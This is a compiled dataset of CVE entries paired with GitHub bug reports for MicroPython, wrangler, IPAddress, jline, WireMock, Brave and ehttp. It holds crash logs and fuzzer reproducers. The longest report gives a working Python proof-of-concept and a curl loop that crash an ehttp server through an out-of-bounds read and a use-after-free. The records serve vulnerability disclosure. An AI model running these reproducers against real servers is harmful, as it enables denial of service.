if (mp_obj_is_small_int(self_in)) {
return MP_OBJ_SMALL_INT_VALUE(self_in);
} else {
const mp_obj_int_t *self = MP_OBJ_TO_PTR(self_in);
mp_int_t value;
if (mpz_as_int_checked(&self->mpz, &value)) {
```
At `mpz_as_int_checked` py/mpz.c:1553, the `dig` field of mpz `i` is parsed, which is `0x7fffef005778` in our debugging, thus overflowed `[0x7fffef005760,0x7fffef005770`.
```c
bool mpz_as_int_checked(const mpz_t *i, mp_int_t *value) {
mp_uint_t val = 0;
mpz_dig_t *d = i->dig + i->len;
```
To sum up, heap-buffer-overflow occurs from type-confusion between `int` and `float` object
# Crash Log
```c
#0 0x5555556ae08b in mpz_as_int_checked /home/qbit/testing-2023/micropython/ports/unix/../../py/mpz.c:1553:23
#1 0x555555746a46 in mp_obj_int_get_checked /home/qbit/testing-2023/micropython/ports/unix/../../py/objint_mpz.c:427:13
#2 0x5555557522ff in slice_indices /home/qbit/testing-2023/micropython/ports/unix/../../py/objslice.c:57:23
#3 0x555555782c1c in mp_execute_bytecode /home/qbit/testing-2023/micropython/ports/unix/../../py/vm.c:1042:21
#4 0x55555574261b in fun_bc_call /home/qbit/testing-2023/micropython/ports/unix/../../py/objfun.c:273:42
#5 0x555555903f3d in execute_from_lexer /home/qbit/testing-2023/micropython/ports/unix/main.c:161:13
#6 0x555555902ad5 in do_file /home/qbit/testing-2023/micropython/ports/unix/main.c:310:12
#7 0x555555902ad5 in main_ /home/qbit/testing-2023/micropython/ports/unix/main.c:722:19
#8 0x7ffff7c29d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#9 0x7ffff7c29e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#10 0x555555593a34 in _start (/home/qbit/testing-2023/micropython/ports/unix/build-standard/micropython+0x3fa34)
```
# Patch
we can handle only int object at `slice_indices` function, or just cast the float value.
***Thank you for taking the time to review our bug report! :)*** | heap-buffer-overflow: mis-interpretation of float as int at slice_indices | https://api.github.com/repos/micropython/micropython/issues/13007/comments | 2 | 2023-11-17T09:50:54Z | 2023-11-22T06:11:45Z | https://github.com/micropython/micropython/issues/13007 | 1,998,711,622 | 13,007 | 5,867 |
CVE-2023-7080 | 2023-12-29T12:15:47.970 | The V8 inspector intentionally allows arbitrary code execution within the Workers sandbox for debugging. wrangler dev would previously start an inspector server listening on all network interfaces. This would allow an attacker on the local network to connect to the inspector and run arbitrary code. Additionally, the inspector server did not validate Origin/Host headers, granting an attacker that can trick any user on the local network into opening a malicious website the ability to run code. If wrangler dev --remote was being used, an attacker could access production resources if they were bound to the worker.
This issue was fixed in wrangler@3.19.0 and wrangler@2.20.2. Whilst wrangler dev's inspector server listens on local interfaces by default as of wrangler@3.16.0, an SSRF vulnerability in miniflare https://github.com/cloudflare/workers-sdk/security/advisories/GHSA-fwvg-2739-22v7 (CVE-2023-7078) allowed access from the local network until wrangler@3.18.0. wrangler@3.19.0 and wrangler@2.20.2 introduced validation for the Origin/Host headers.
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"Issue Tracking",
"Patch"
] | github.com | [
"cloudflare",
"workers-sdk"
] | ### Which Cloudflare product(s) does this pertain to?
Wrangler core
### What version(s) of the tool(s) are you using?
3.15.0
### What version of Node are you using?
21.1.0
### What operating system are you using?
Mac
### Describe the Bug
When running `wrangler dev`, a lot of services are listening on the wildcard address. On machines without a firewall that could cause unnecessarily exposure.
Ports in question:
* node: port 9229 and 6284 and a random port (56547),
* workerd: port 8787
```
$ lsof -nPiTCP -sTCP:LISTEN
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
node 51399 pwu 33u IPv6 0xe8478a1f17ba37f 0t0 TCP *:9229 (LISTEN)
node 51399 pwu 37u IPv4 0xe8478b51682305f 0t0 TCP *:56781 (LISTEN)
node 51399 pwu 38u IPv6 0xe8478a1f17bab7f 0t0 TCP *:6284 (LISTEN)
workerd 51401 pwu 11u IPv4 0xe8478b515f2f98f 0t0 TCP 127.0.0.1:56779 (LISTEN)
workerd 51401 pwu 12u IPv6 0xe8478a1f17bb37f 0t0 TCP [::1]:56779 (LISTEN)
workerd 51401 pwu 14u IPv4 0xe8478b5166e64ff 0t0 TCP *:8787 (LISTEN)
```
With `wrangler dev --ip localhost`, this improves such that workerd is no longer listening on the wildcard address:
```
$ lsof -nPiTCP -sTCP:LISTEN
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
node 51416 pwu 36u IPv6 0xe8478a1e7bdd37f 0t0 TCP *:9229 (LISTEN)
node 51416 pwu 37u IPv6 0xe8478a1f161c37f 0t0 TCP [::1]:56788 (LISTEN)
node 51416 pwu 38u IPv6 0xe8478a1e7bddb7f 0t0 TCP *:6284 (LISTEN)
workerd 51418 pwu 11u IPv4 0xe8478b515f2f98f 0t0 TCP 127.0.0.1:56786 (LISTEN)
workerd 51418 pwu 12u IPv6 0xe8478a1f17f5b7f 0t0 TCP [::1]:56786 (LISTEN)
workerd 51418 pwu 14u IPv4 0xe8478b51682305f 0t0 TCP 127.0.0.1:8787 (LISTEN)
workerd 51418 pwu 15u IPv6 0xe8478a1f17f537f 0t0 TCP [::1]:8787 (LISTEN)
```
Ports are defined here:
https://github.com/cloudflare/workers-sdk/blob/3637d97a99c9d5e8d0d2b5f3adaf4bd9993265f0/packages/wrangler/src/index.ts#L62-L63
Port 9229 is used for the inspector here:
https://github.com/cloudflare/workers-sdk/blob/3637d97a99c9d5e8d0d2b5f3adaf4bd9993265f0/packages/wrangler/src/dev/inspect.ts#L859-L865
https://github.com/cloudflare/workers-sdk/blob/3637d97a99c9d5e8d0d2b5f3adaf4bd9993265f0/packages/wrangler/src/dev/inspect.ts#L255
As you can see there is no reason it should listen on the wildcard given that it is only used locally. Let's change that to listen on localhost, https://nodejs.org/api/net.html#serverlisten
```diff
- server.listen(props.port);
+ server.listen(props.port, 'localhost');
```
Port 6284 appears to be used for a "service registry":
https://github.com/cloudflare/workers-sdk/blob/3637d97a99c9d5e8d0d2b5f3adaf4bd9993265f0/packages/wrangler/src/dev-registry.ts#L13-L14
https://github.com/cloudflare/workers-sdk/blob/3637d97a99c9d5e8d0d2b5f3adaf4bd9993265f0/packages/wrangler/src/dev-registry.ts#L83-L85
Again, it only appears to be used on localhost, so we should be able to change that as well?
Note that for those running `wrangler` in Docker with port-forwarding, it should probably still listen on the wildcard in that special case. Maybe the `--ip` option can be used to influence the above listen options?
Historical note: the dev server used to listen on localhost, but this was changed to listen on wildcard in #1605 which also added the `--ip` option.
Also related: security concerns about listening on external interfaces, #2036 (closed in favor of #4239).
### Please provide a link to a minimal reproduction
_No response_
### Please provide any relevant error logs
_No response_ | 🐛 BUG: Wrangler is still listening on the wildcard address even with --ip localhost | https://api.github.com/repos/cloudflare/workers-sdk/issues/4430/comments | 1 | 2023-11-12T12:57:30Z | 2024-04-10T04:39:32Z | https://github.com/cloudflare/workers-sdk/issues/4430 | 1,989,391,363 | 4,430 | 5,868 |
CVE-2023-50570 | 2023-12-29T15:15:09.927 | An issue in the component IPAddressBitsDivision of IPAddress v5.1.0 leads to an infinite loop. This is disputed because an infinite loop occurs only for cases in which the developer supplies invalid arguments. The product is not intended to always halt for contrived inputs. | {
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I have these code that can't finished in time:
```java
public void equalsFuzzerTest() {
try {
long tempLong = 5979084832330744063L;
int tempInt = -1;
IPAddressBitsDivision iPAddressBitsDivision = new IPAddressBitsDivision(tempLong, tempLong, tempInt, tempInt);
boolean result = iPAddressBitsDivision.equals(new Object());
} catch (Exception e) {
}
}
```
Is it a potential bug? | new IPAddressBitsDivision leads to infinite loop | https://api.github.com/repos/seancfoley/IPAddress/issues/118/comments | 12 | 2023-12-05T09:23:22Z | 2024-01-29T18:54:43Z | https://github.com/seancfoley/IPAddress/issues/118 | 2,025,738,205 | 118 | 5,869 |
CVE-2023-50572 | 2023-12-29T15:15:10.030 | An issue in the component GroovyEngine.execute of jline-groovy v3.24.1 allows attackers to cause an OOM (OutofMemory) error. | {
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Reproduced code:
```java
public void executeFuzzerTest() {
try {
GroovyEngine groovyEngine = new GroovyEngine();
Object result = groovyEngine.execute("/\n/*777777777777777777777777777777");
} catch (Exception e) {
}
}
``` | GroovyEngine.execute cause an OOM exception | https://api.github.com/repos/jline/jline3/issues/909/comments | 3 | 2023-12-07T03:41:36Z | 2024-01-18T12:12:48Z | https://github.com/jline/jline3/issues/909 | 2,029,822,844 | 909 | 5,870 |
CVE-2023-50069 | 2023-12-29T21:15:08.713 | WireMock with GUI versions 3.2.0.0 through 3.0.4.0 are vulnerable to stored cross-site scripting (SXSS) through the recording feature. An attacker can host a malicious payload and perform a test mapping pointing to the attacker's file, and the result will render on the Matched page in the Body area, resulting in the execution of the payload. This occurs because the response body is not validated or sanitized. | {
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] | github.com | [
"holomekc",
"wiremock"
] | ## Summary
WireMock with GUI versions `3.2.0.0` through `3.0.4.0` are vulnerable to stored cross-site scripting (SXSS) through the recording feature. An attacker can host a malicious payload and perform a test mapping pointing to the attacker's file, and the result will render on the `Matched` page in the `Body` area, resulting in the execution of the payload. This occurs because the response body is not validated or sanitized.
## Tested Versions
3.2.0.0
3.1.0.0
3.0.4.0
## POC
## Recommendations
Follow the offical Wiremock documentation to prevent proxying to unintended locations.
Update to the latest release of Wiremock with GUI.
## References
CVE-2023-50069
https://wiremock.org/docs/configuration/#preventing-proxying-to-and-recording-from-specific-target-addresses
## CVSS
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: Required
Scope: Changed
Confidentiality Impact: Low
Integrity Impact: Low
Availability Impact: None
| Security Vulnerability - Stored Cross Site Scripting | https://api.github.com/repos/holomekc/wiremock/issues/51/comments | 4 | 2023-12-19T17:36:07Z | 2023-12-27T10:00:42Z | https://github.com/holomekc/wiremock/issues/51 | 2,049,137,735 | 51 | 5,871 |
CVE-2023-52263 | 2023-12-30T19:15:08.253 | Brave Browser before 1.59.40 does not properly restrict the schema for WebUI factory and redirect. This is related to browser/brave_content_browser_client.cc and browser/ui/webui/brave_web_ui_controller_factory.cc. | {
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"brave",
"brave-browser"
] | ## Description
Follow up to https://github.com/brave/brave-browser/issues/32425
for STR see https://bravesoftware.slack.com/archives/C7VLGSR55/p1692737541055759?thread_ts=1692642768.785349&cid=C7VLGSR55
| [hackerone] browser crash 2 | https://api.github.com/repos/brave/brave-browser/issues/32449/comments | 6 | 2023-08-22T21:09:39Z | 2023-08-23T16:20:32Z | https://github.com/brave/brave-browser/issues/32449 | 1,862,212,493 | 32,449 | 5,872 |
CVE-2023-52263 | 2023-12-30T19:15:08.253 | Brave Browser before 1.59.40 does not properly restrict the schema for WebUI factory and redirect. This is related to browser/brave_content_browser_client.cc and browser/ui/webui/brave_web_ui_controller_factory.cc. | {
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"brave",
"brave-browser"
] | ###Release Notes
- [hackerone] browser crash. ([#32425](https://github.com/brave/brave-browser/issues/32425))
- [hackerone] browser crash 2. ([#32449](https://github.com/brave/brave-browser/issues/32449))
- Upgrade from Chromium 116.0.5845.96 to Chromium 116.0.5845.114. ([#32451](https://github.com/brave/brave-browser/issues/32451))
- Brave doesn't relaunch via taskbar Brave icon, after closing, if VPN is configured and Shields is enabled. ([#32309](https://github.com/brave/brave-browser/issues/32309))
- Open Guest Profile keyboard shortcut disappeared in 1.57.47. ([#32268](https://github.com/brave/brave-browser/issues/32268))
- Allow/Block in permission dialog doesn't work sometimes. ([#32258](https://github.com/brave/brave-browser/issues/32258))
- Add support for swaps on Base. ([#32235](https://github.com/brave/brave-browser/issues/32235))
| Desktop Release Notes for 1.57.x Release #4 | https://api.github.com/repos/brave/brave-browser/issues/32473/comments | 0 | 2023-08-23T14:35:09Z | 2023-08-23T18:12:05Z | https://github.com/brave/brave-browser/issues/32473 | 1,863,468,219 | 32,473 | 5,873 |
CVE-2023-52266 | 2023-12-31T00:15:44.440 | ehttp 1.0.6 before 17405b9 has an epoll_socket.cpp read_func use-after-free. An attacker can make many connections over a short time to trigger this. | {
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] | github.com | [
"hongliuliao",
"ehttp"
] | Hi!
When executing my fuzz tests I discovered a few bugs at the following locations:
* Out-of-bounds-read in void _log at simple_log.cpp:221
* Use-after-free in read_func(void*) at epoll_socket.cpp:234
## Out-of-bounds-read in void _log at simple_log.cpp:221 when sending a malformed HTTP method, large url, or large HTTP header value to the server
https://github.com/hongliuliao/ehttp/blob/716ff7a60a28a943855d8811eda44c611d58b349/src/simple_log.cpp#L219-L223
Below are a few examples:
*Malformed HTTP Method*
```
GETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGETGET /
```
*Malformed URL*
```
GET /hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello/hello
```
I compiled and executed the examples from the instructions with address sanitizer to help debug the exact location of the out-of-bounds-read:
#### Makefile modifications
```
CXXFLAGS += -g -Wall -fsanitize=address
LDFLAGS += -pthread -fsanitize=address
```
#### Compilation
```
make && make test && ./output/test/hello_server 8080
```
### Below is a proof of concept script named 'poc.py' to reproduce the issue:
```
#!/usr/bin/env python3
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8080))
sock.send(b"GET"*5000+b" /hello"*5000+b" HTTP/1.1\r\nHost:localhost:8080\r\n\r\n")
response = sock.recv(4096)
sock.close()
```
### Executing the Python3 script
```
$ python3 poc.py
```
#### Address Sanitizer Output
```
==2308883==ERROR: AddressSanitizer: dynamic-stack-buffer-overflow on address 0x7fdc638f3ce0 at pc 0x7fdc6889109c bp 0x7fdc638f2040 sp 0x7fdc638f1800
READ of size 4097 at 0x7fdc638f3ce0 thread T3
#0 0x7fdc6889109b in printf_common ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:553
#1 0x7fdc6889189a in __interceptor_vprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1738
#2 0x559614bebecd in _log(char const*, __va_list_tag*) src/simple_log.cpp:221
#3 0x559614bec870 in log_debug(char const*, ...) src/simple_log.cpp:290
#4 0x559614bdf2a1 in Request::parse_request(char const*, int) src/sim_parser.cpp:580
#5 0x559614bc75bc in HttpEpollWatcher::on_readable(int&, epoll_event&) src/http_server.cpp:296
#6 0x559614bf59c0 in EpollSocket::handle_readable_event(epoll_event&) src/epoll_socket.cpp:247
#7 0x559614bf5703 in read_func(void*) src/epoll_socket.cpp:230
#8 0x559614beddd9 in Task::run() src/threadpool.cpp:19
#9 0x559614beefa7 in ThreadPool::execute_thread() src/threadpool.cpp:159
#10 0x559614bee10c in ss_start_thread src/threadpool.cpp:48
#11 0x7fdc682a63eb in start_thread nptl/pthread_create.c:444
#12 0x7fdc68326a1b in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Address 0x7fdc638f3ce0 is located in stack of thread T3
SUMMARY: AddressSanitizer: dynamic-stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_format.inc:553 in printf_common
Shadow bytes around the buggy address:
0x7fdc638f3a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3b80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3c00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7fdc638f3c80: 00 00 00 00 00 00 00 00 00 00 00 00[cb]cb cb cb
0x7fdc638f3d00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3d80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3e80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7fdc638f3f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Thread T3 created by T1 here:
#0 0x7fdc68847c36 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:208
#1 0x559614bee436 in ThreadPool::start_threadpool() src/threadpool.cpp:70
#2 0x559614bf74ba in EpollSocket::init_tp() src/epoll_socket.cpp:417
#3 0x559614bf87b4 in EpollSocket::start_epoll() src/epoll_socket.cpp:514
#4 0x559614bc539e in HttpServer::start_sync() src/http_server.cpp:132
#5 0x559614bc5067 in http_start_routine(void*) src/http_server.cpp:102
#6 0x7fdc682a63eb in start_thread nptl/pthread_create.c:444
Thread T1 created by T0 here:
#0 0x7fdc68847c36 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:208
#1 0x559614bc50a1 in HttpServer::start_async() src/http_server.cpp:107
#2 0x559614bc0d99 in main test/hello_server.cpp:112
#3 0x7fdc682456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
==2308883==ABORTING
```
#### Potential Fix
A potential fix for this would be to check the size of the format/arg passed to *int vprintf ( const char * format, va_list arg );*
---
## Heap use-after-free in read_func(void*) at epoll_socket.cpp:234
https://github.com/hongliuliao/ehttp/blob/716ff7a60a28a943855d8811eda44c611d58b349/src/epoll_socket.cpp#L228-L237
Similar to above, I compiled and executed the examples from the instructions with address sanitizer to help debug the exact location of the use-after-free bug:
#### Makefile modifications
```
CXXFLAGS += -g -Wall -fsanitize=address
LDFLAGS += -pthread -fsanitize=address
```
#### Compilation
```
make && make test && ./output/test/issue5_server 1234
```
### Sending multiple consecutive connections to the server results in a use-after-free bug
**After running the script below, wait around ~30-60 seconds and the server will crash.**
```
$ while true; do curl http://localhost:1234/; done
```
https://github.com/hongliuliao/ehttp/assets/42481692/2cfc87cf-62e2-4787-81c7-5f17b005a06e
#### Address Sanitizer Output
```
==131898==ERROR: AddressSanitizer: heap-use-after-free on address 0x607001a34440 at pc 0x55999cd1a37f bp 0x7f44178fddd0 sp 0x7f44178fddc8
WRITE of size 4 at 0x607001a34440 thread T2
#0 0x55999cd1a37e in read_func(void*) src/epoll_socket.cpp:234
#1 0x55999cd25201 in Task::run() src/threadpool.cpp:19
#2 0x55999cd263cf in ThreadPool::execute_thread() src/threadpool.cpp:159
#3 0x55999cd25534 in ss_start_thread src/threadpool.cpp:48
#4 0x7f441b0a63eb in start_thread nptl/pthread_create.c:444
#5 0x7f441b126a1b in clone3 ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
0x607001a34440 is located 64 bytes inside of 72-byte region [0x607001a34400,0x607001a34448)
freed by thread T3 here:
#0 0x7f441b6da008 in operator delete(void*, unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:164
#1 0x55999cd1dd7c in EpollSocket::close_and_release(epoll_event&) src/epoll_socket.cpp:571
#2 0x55999cd1aa19 in EpollSocket::handle_writeable_event(int&, epoll_event&, EpollSocketWatcher&) src/epoll_socket.cpp:275
#3 0x55999cd189d2 in write_func(void*) src/epoll_socket.cpp:74
#4 0x55999cd25201 in Task::run() src/threadpool.cpp:19
#5 0x55999cd263cf in ThreadPool::execute_thread() src/threadpool.cpp:159
#6 0x55999cd25534 in ss_start_thread src/threadpool.cpp:48
#7 0x7f441b0a63eb in start_thread nptl/pthread_create.c:444
previously allocated by thread T0 here:
#0 0x7f441b6d9108 in operator new(unsigned long) ../../../../src/libsanitizer/asan/asan_new_delete.cpp:95
#1 0x55999cd19c6b in EpollSocket::create_client(int, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) src/epoll_socket.cpp:191
